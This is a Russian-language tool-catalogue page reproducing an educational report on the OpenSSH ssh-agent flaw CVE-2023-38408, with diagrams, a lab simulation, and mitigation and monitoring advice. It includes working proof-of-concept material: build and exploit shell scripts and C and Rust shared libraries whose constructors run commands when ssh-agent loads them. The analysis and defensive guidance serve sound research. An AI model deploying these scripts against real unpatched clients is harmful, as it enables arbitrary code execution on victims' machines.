Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2023-38408 — Подробный анализ критической уязвимости OpenSSH CVE 2023 38408, включая технические предпосылки, эксплуатацию в контролируемых средах и стратегии смягчения последствий. | Kitploit
Инструменты/GitHubGitHub/adel2411/cve-2023-38408
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеСтатьи и ИсследованияОбучение и ОбразованиеRed Teaming
GitHubadel2411/cve-2023-38408

cve-2023-38408

Подробный анализ критической уязвимости OpenSSH CVE 2023 38408, включая технические предпосылки, эксплуатацию в контролируемых средах и стратегии смягчения последствий.

Репозиторий
51 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2023-38408: Понимание и моделирование реальной уязвимости SSH-Agent

Содержание

  1. Введение
  2. Основные понятия
  3. Уязвимость CVE-2023-38408
  4. Практическое моделирование и тестирование
  5. Технический анализ
  6. Исправление и смягчение
  7. Заключение

1. Введение

Цель отчета

Цель этого отчета — проанализировать CVE-2023-38408, критическую реальную уязвимость, обнаруженную в OpenSSH, как с теоретической точки зрения, так и с помощью практического моделирования. В отчете объясняются технические основы уязвимости, демонстрируется, как ее можно эксплуатировать в контролируемых средах, и рассматриваются реализованные меры по смягчению последствий.

Важность анализа реальных уязвимостей

Понимание реальных уязвимостей безопасности с помощью практического моделирования не только помогает защитить системы, но и повышает осведомленность разработчиков и системных администраторов о потенциальных векторах атак. Анализ таких уязвимостей устраняет разрыв между теорией и практической реализацией безопасности.

Что такое CVE-2023-38408 и почему это важно

CVE-2023-38408 — это уязвимость, затрагивающая ssh-agent в OpenSSH, когда включена поддержка PKCS#11. Она позволяет выполнять удаленный код на клиентской машине, если пользователь подключается к скомпрометированному серверу с включенной пересылкой агента (ssh -A). Эта уязвимость имеет серьезные последствия для любой системы, использующей OpenSSH для безопасной аутентификации.


2. Основные понятия

2.1 Обзор SSH

SSH (Secure Shell) — это криптографический сетевой протокол, используемый для безопасной связи по незащищенным сетям. Он обеспечивает зашифрованные каналы для удаленного входа, выполнения команд, передачи файлов и многого другого.```mermaid graph LR A[SSH Client] -->|Encrypted Connection| B[SSH Server] A -->|Authentication| C[ssh-agent] C -->|Private Keys| D[Key Store] B -->|Agent Forwarding| E[Remote ssh-agent Proxy]

root@kitploit:~
### 2.2 Что такое ssh-agent

`ssh-agent` — это фоновый процесс, который хранит ваши расшифрованные закрытые SSH-ключи в памяти, позволяя использовать их без повторного ввода парольной фразы каждый раз при подключении к удалённой системе.

#### Пересылка агента (ssh -A)

Пересылка агента позволяет удалённой системе получить доступ к вашему локальному `ssh-agent` через сокет домена Unix. Это полезно для цепочек SSH-соединений, но вносит значительные риски безопасности, если удалённая машина скомпрометирована.```mermaid
sequenceDiagram
    participant Client as SSH Client
    participant Agent as ssh-agent
    participant Server as Remote Server
    participant Proxy as Agent Proxy

    Client->>Agent: Start agent
    Client->>Server: ssh -A user@server
    Server->>Proxy: Create proxy socket
    Note over Server,Proxy: SSH_AUTH_SOCK=/tmp/ssh-xxx/agent.xxx
    Server->>Proxy: ssh-add request
    Proxy->>Client: Forward request
    Client->>Agent: Process request
    Agent->>Client: Response
    Client->>Proxy: Forward response
    Proxy->>Server: Final response

Технически, когда вы используете ssh -A, SSH-клиент создает сокет домена Unix на удаленном сервере, который выступает в качестве прокси для вашего локального ssh-agent. Переменная среды SSH_AUTH_SOCK устанавливается так, чтобы указывать на этот прокси-сокет. Любые вызовы, сделанные к SSH_AUTH_SOCK на удаленном сервере, перенаправляются обратно через SSH-соединение и обрабатываются вашим локальным ssh-agent.

2.3 Что такое PKCS#11

PKCS#11 — это стандартный API для взаимодействия с криптографическими токенами, такими как смарт-карты, YubiKeys или виртуальные модули безопасности оборудования (HSM).

Как ssh-agent поддерживает PKCS#11

OpenSSH ssh-agent поддерживает загрузку PKCS#11-провайдеров (общих библиотек .so) с помощью команды ssh-add -s /path/to/provider.so. Эти библиотеки позволяют агенту взаимодействовать с безопасными аппаратными или программными модулями для использования закрытых ключей без их прямого раскрытия.

Под капотом, при вызове ssh-add -s выполняются следующие действия:

  • Файл .so динамически загружается в память с помощью dlopen().
  • Агент разрешает и вызывает такие функции, как C_Initialize(), C_GetSlotList(), C_FindObjects() и C_Sign() через API PKCS#11.
  • Провайдер возвращает метаданные и обрабатывает запросы на подписание аутентификационных запросов, сохраняя материал закрытого ключа в безопасности внутри аппаратного токена.

3. Уязвимость CVE-2023-38408

3.1 Сводка уязвимости

3.2 Механизм уязвимости

Уязвимость возникает из-за того, что ssh-agent загружает любой файл общей библиотеки (.so), предоставленный через ssh-add -s, без проверки, является ли он легитимным PKCS#11-провайдером.```mermaid graph TD A[Attacker sends ssh-add -s malicious.so] --> B[Request forwarded to victim's ssh-agent] B --> C[ssh-agent calls dlopen on malicious.so] C --> D[Constructor function executes immediately] D --> E[Arbitrary code runs on victim machine]

root@kitploit:~
### 3.3 Анализ потока атак```mermaid
sequenceDiagram
    participant V as Victim
    participant A as Attacker
    participant Agent as ssh-agent
    participant Lib as Malicious .so

    V->>A: ssh -A attacker@host
    Note over V,A: Agent forwarding enabled
    A->>Agent: ssh-add -s /path/to/malicious.so
    Agent->>Lib: dlopen("/path/to/malicious.so")
    Note over Lib: Constructor executes
    Lib->>V: Malicious code runs
    Note over V: System compromised

На самом низком уровне последовательность событий включает:

  1. Удаленная система отправляет запрос перенаправленному агенту, запрашивая ssh-add -s /path/to/lib.so
  2. Локальный ssh-agent получает этот запрос и слепо вызывает dlopen("/path/to/lib.so", RTLD_NOW)
  3. Если файл .so имеет функцию-конструктор (__attribute__((constructor))), она выполняется сразу после загрузки
  4. Этот конструктор может содержать произвольный вредоносный код, выполняющийся на машине клиента

3.4 Реальный сценарий атаки


4. Практическое моделирование и тестирование

4.1 Настройка среды моделирования

Для демонстрации этой уязвимости в контролируемой среде было проведено комплексное моделирование с использованием нескольких учетных записей и терминалов.

Конфигурация среды

Создание учетных записей пользователей```bash

As main user

sudo adduser victim sudo adduser attacker

root@kitploit:~
#### Настройка SSH-ключей для перенаправления агента```bash
# As victim user
ssh-keygen -t rsa -f ~/.ssh/id_rsa -N ""
ssh-copy-id attacker@localhost

4.2 Скрипты симуляции и реализация

Скрипт подключения жертвы (new-connection.sh)```bash

#!/bin/bash

Kill any existing agent

eval $(ssh-agent -k) > /dev/null 2>&1

Start a new agent and add key

eval $(ssh-agent -s) ssh-add ~/.ssh/id_rsa

Connect to attacker with agent forwarding

ssh -A attacker@localhost

root@kitploit:~
#### Конструктор полезной нагрузки атакующего (`build-evil.sh`)```bash
#!/bin/bash
set -e

C_SRC="evil.c"
RUST_DIR="rust_evil"
OUTPUT_PATH="/usr/lib/x86_64-linux-gnu/pkcs11/evil.so"

function build_c() {
  sudo gcc -fPIC -shared -o "$OUTPUT_PATH" "$C_SRC"
  echo "C payload built at $OUTPUT_PATH"
}

function build_rust() {
  cd "$RUST_DIR"
  cargo build --release
  cd -
  SO_FILE=$(find "$RUST_DIR/target/release" -name "lib*.so" | head -n 1)
  sudo cp "$SO_FILE" "$OUTPUT_PATH"
  rm -rf "$RUST_DIR/target"
  echo "Rust payload built at $OUTPUT_PATH"
}

case "$1" in
  --c) build_c ;;
  --rust) build_rust ;;
  *) echo "Usage: $0 --c | --rust" && exit 1 ;;
esac

Сценарий эксплуатации (exploit.sh)```bash

#!/bin/bash

Use forwarded agent

export SSH_AUTH_SOCK=$(echo /tmp/ssh-/agent.)

Trigger the malicious shared object via ssh-agent

ssh-add -s /usr/lib/x86_64-linux-gnu/pkcs11/evil.so

root@kitploit:~
### 4.3 Результаты моделирования и анализ

#### Ожидаемое поведение в уязвимых системах

| **Действие**                | **Ответ уязвимой системы**      | **Ответ исправленной системы** |
| ------------------------- | ----------------------------------- | --------------------------- |
| `ssh-add -s malicious.so` | Библиотека загружается, конструктор выполняется | `agent refused operation`   |
| Выполнение полезной нагрузки         | Создаёт `/tmp/exploit.log`          | Не выполняется                |
| Влияние на систему             | Удалённое выполнение кода               | Нет влияния                   |

#### Фактический вывод моделирования

При запуске моделирования на исправленной системе (OpenSSH 9.3p2+):```
Enter passphrase for PKCS#11:
Could not add card "/.../evil.so": agent refused operation

Ключевое наблюдение: Несмотря на то, что агент отказывается от операции в исправленных версиях, эта симуляция демонстрирует вектор атаки и помогает понять влияние уязвимости в более старых версиях.

4.4 Анализ построения полезной нагрузки

Вредоносная библиотека на C```c

// evil.c - Example malicious PKCS#11 library #include <stdlib.h> #include <stdio.h>

attribute((constructor)) void malicious_constructor() { // This executes immediately when dlopen() is called system("echo 'Exploit triggered' > /tmp/exploit.log"); system("touch ~/exploit.txt"); // In a real attack, this could download and execute additional payloads }

// Minimal PKCS#11 function to make it appear legitimate void C_Initialize() { return; }

root@kitploit:~
#### Альтернатива на основе Rust

Использование крейта `ctor` для конструкторных функций:```rust
// Cargo.toml
[dependencies]
ctor = "0.1"

// lib.rs
use ctor::ctor;
use std::process::Command;

#[ctor]
fn malicious_constructor() {
    Command::new("sh")
        .arg("-c")
        .arg("echo 'Rust exploit triggered' > /tmp/exploit.log")
        .output()
        .expect("Failed to execute command");
}

5. Технический анализ

5.1 Анализ первопричины

Уязвимость существует из-за нескольких проектных решений в реализации ssh-agent в OpenSSH:

5.2 Анализ памяти и процессов```mermaid

graph TB A[ssh-agent process] --> B[dlopen system call] B --> C[Load malicious.so into memory] C --> D[Execute constructor function] D --> E[Arbitrary code execution] D --> F[Spawn child processes] D --> G[File system modifications] D --> H[Network connections]

root@kitploit:~
### 5.3 Карта поверхности атаки

| **Вектор атаки**        | **Требования**                       | **Уровень воздействия** | **Сложность обнаружения** |
| ----------------------- | ------------------------------------ | ----------------------- | ------------------------- |
| Перенаправление агента  | `ssh -A` включен                     | Критический             | Низкая                    |
| Вредоносный .so файл    | Доступ к файловой системе            | Критический             | Средняя                   |
| Социальная инженерия    | Взаимодействие пользователя          | Высокий                 | Высокая                   |
| Цепочка поставок        | Скомпрометированный провайдер PKCS#11 | Критический             | Очень высокая             |

---

## 6. Исправление и смягчение

### 6.1 Как это было исправлено в OpenSSH 9.3p2

OpenSSH 9.3p2 устранил эту уязвимость, введя безопасное поведение по умолчанию:

| **Мера безопасности** | **Реализация**                             | **Эффект**                               |
| --------------------- | ------------------------------------------ | ---------------------------------------- |
| Отключение по умолчанию | Поддержка PKCS#11 отключена по умолчанию   | Снижает поверхность атаки                |
| Явное включение       | Требуется флаг `-O allow-pkcs11`           | Требуется согласие пользователя          |
| Проверка              | Улучшенная проверка библиотек              | Предотвращает выполнение произвольного кода |

#### Изменения конфигурации```bash
# Old behavior (vulnerable)
ssh-agent  # PKCS#11 enabled by default

# New behavior (secure)
ssh-agent -O allow-pkcs11  # Explicit opt-in required

6.2 Анализ реализации```mermaid

flowchart TD A[ssh-add -s request] --> B{PKCS#11 allowed?} B -->|No| C[Agent refused operation] B -->|Yes| D{Valid PKCS#11 library?} D -->|No| E[Validation failed] D -->|Yes| F[Load library safely]

root@kitploit:~
### 6.3 Комплексные стратегии смягчения

#### Немедленные действия

| **Приоритет** | **Действие**                | **Реализация**                                              |
| ------------- | --------------------------- | ----------------------------------------------------------- |
| Высокий       | Обновить OpenSSH            | `apt update && apt upgrade openssh-client openssh-server`   |
| Высокий       | Отключить пересылку агента  | `ssh -o ForwardAgent=no`                                    |
| Средний       | Аудит конфигураций SSH      | Проверка `/etc/ssh/ssh_config`                              |
| Средний       | Мониторинг использования агента | Логирование действий ssh-agent                           |

#### Долгосрочные меры безопасности

1. **Усиление конфигурации SSH**   ```
   # /etc/ssh/ssh_config
   ForwardAgent no
   HashKnownHosts yes
   VerifyHostKeyDNS yes
  1. Сегментация сети ```mermaid graph LR A[Trusted Network] --> B[Jump Host] B --> C[DMZ] C --> D[Production Network]

    Note1[No agent forwarding beyond Jump Host] Note2[Separate credentials for each zone]

    root@kitploit:~
  2. Мониторинг и обнаружение ```bash

    Monitor ssh-agent processes

    ps aux | grep ssh-agent

    Check for unusual .so loads

    lsof -p $(pgrep ssh-agent) | grep '.so$'

    Monitor SSH_AUTH_SOCK usage

    auditctl -w /tmp -p w -k ssh_agent_monitor

    root@kitploit:~

6.4 Реализация лучших практик

Организационные политики безопасности


7. Заключение

7.1 Основные выводы

CVE-2023-38408 демонстрирует критическую уязвимость безопасности, которая использовала доверительные отношения между SSH-клиентами и агентами. Благодаря практической симуляции выявляются несколько ключевых выводов:

  1. Нарушение границ доверия: уязвимость использовала неявное доверие к переадресованным соединениям агента
  2. Злоупотребление конструкторами: выполнение вредоносного кода через конструкторы разделяемых библиотек обошло все средства безопасности
  3. Небезопасные настройки по умолчанию: включённая по умолчанию поддержка PKCS#11 создала ненужную поверхность атаки
  4. Риски переадресации агента: удобство переадресации агента привело к серьёзным последствиям для безопасности

7.2 Оценка влияния

7.3 Извлечённые уроки

Этот анализ уязвимости, дополненный практической симуляцией, предоставляет несколько критически важных уроков:

  1. Безопасные настройки по умолчанию: функции безопасности должны быть отключены по умолчанию и требовать явной активации
  2. Проверка входных данных: все внешние входные данные, включая файлы библиотек, должны строго проверяться
  3. Принцип наименьших привилегий: переадресация агента должна быть ограничена только доверенными средами
  4. Эшелонированная защита: несколько уровней безопасности предотвращают единые точки отказа

7.4 Перспективные соображения```mermaid

mindmap root((Security Evolution)) Modern Threats Supply Chain Attacks Zero-Trust Architecture Container Security SSH Security Certificate-based Auth Hardware Security Modules Multi-factor Authentication Organizational Measures Security Training Incident Response Continuous Monitoring

root@kitploit:~
### 7.5 Итоговые рекомендации

На основе всестороннего анализа и результатов моделирования:

1. **Немедленно**: Обновите все установки OpenSSH до версии 9.3p2 или новее
2. **Краткосрочная перспектива**: Внедрите строгие политики перенаправления агента и мониторинг
3. **Долгосрочная перспектива**: Примите архитектуру нулевого доверия и аутентификацию на основе сертификатов
4. **Постоянно**: Поддерживайте непрерывное обучение безопасности и программы оценки уязвимостей

**Ключевой вывод**: CVE-2023-38408 служит мощным напоминанием о том, что функции удобства, такие как перенаправление агента, могут стать критическими уязвимостями безопасности при неправильной реализации. Сочетание теоретического понимания и практического моделирования создает основу для построения надежной защиты от подобных атак в будущем.

Благодаря этому всестороннему анализу специалисты по безопасности могут лучше понять сложные взаимосвязи между компонентами SSH и внедрить соответствующие меры защиты для защиты своей инфраструктуры от подобных уязвимостей.
Скачать инструмент
Детали CVEИнформация
CVE IDCVE-2023-38408
CVSS Score9.8 (Critical)
Затронутые версииOpenSSH < 9.3p2
Вектор атакиСеть
Требуемые привилегииНет
Взаимодействие пользователяТребуется
ВоздействиеПолная компрометация системы
PKCS#11 FunctionPurposeRisk Level
C_Initialize()Инициализировать библиотекуНизкий
C_GetSlotList()Список доступных слотовНизкий
C_FindObjects()Найти криптографические объектыСредний
C_Sign()Подписать данныеВысокий
dlopen()Загрузить общую библиотекуКритический
АтрибутДетали
IDCVE-2023-38408
СерьезностьВысокий (CVSS 9.8)
Временная шкалаРаскрыта в июле 2023, исправлено в OpenSSH 9.3p2
Затронутое ПОOpenSSH версий до 9.3p2 с поддержкой PKCS#11
Сложность атакиНизкая
Вектор атакиСеть через перенаправление SSH-агента
ШагДействиеРезультат
1Пользователь выполняет ssh -A user@attacker-hostВключена переадресация агента
2Атакующий подготавливает malicious.soПолезная нагрузка готова
3Атакующий выполняет ssh-add -s /tmp/malicious.soЗапрос отправлен агенту жертвы
4Агент загружает вредоносную библиотекуВыполняется конструктор
5Вредоносный код выполняетсяДостигнуто удаленное выполнение кода
КомпонентКонфигурацияНазначение
Терминал 1пользователь victimSSH-клиент (цель)
Терминал 2пользователь attackerSSH-сервер (атакующий)
SSH-ключиRSA 2048-битныеАутентификация без паролей
Тестовые файлыРазличные shell-скриптыАвтоматизация и доставка полезной нагрузки
Проблема проектированияОписаниеВоздействие
Неограниченный dlopen()Отсутствие проверки .so файловПозволяет выполнение произвольного кода
Выполнение конструктораКод выполняется до проверки PKCS#11Немедленная компрометация
Доверие к агентному перенаправлениюОтсутствие аутентификации для перенаправленных запросовВозможна удаленная эксплуатация
Поддержка PKCS#11 по умолчаниюФункция включена по умолчаниюБолее широкая поверхность атаки
Область политикиТребованиеМетод проверки
Использование SSH-агентаТребуется документированное одобрениеАудит соответствия политике
Переадресация агентаЗапрещена на ненадёжных хостахМониторинг сети
Библиотеки PKCS#11Белый список одобренных провайдеровМониторинг целостности файлов
Управление версиямиОбязательное использование OpenSSH 9.3p2+Автоматическое сканирование уязвимостей
Категория воздействияСерьёзностьОписание
КонфиденциальностьКритическаяПолный доступ к криптографическим материалам пользователя
ЦелостностьКритическаяВозможность изменения системных файлов и конфигураций
ДоступностьВысокаяПотенциальное нарушение работы системы или отказ в обслуживании
АутентификацияКритическаяКомпрометация механизмов аутентификации SSH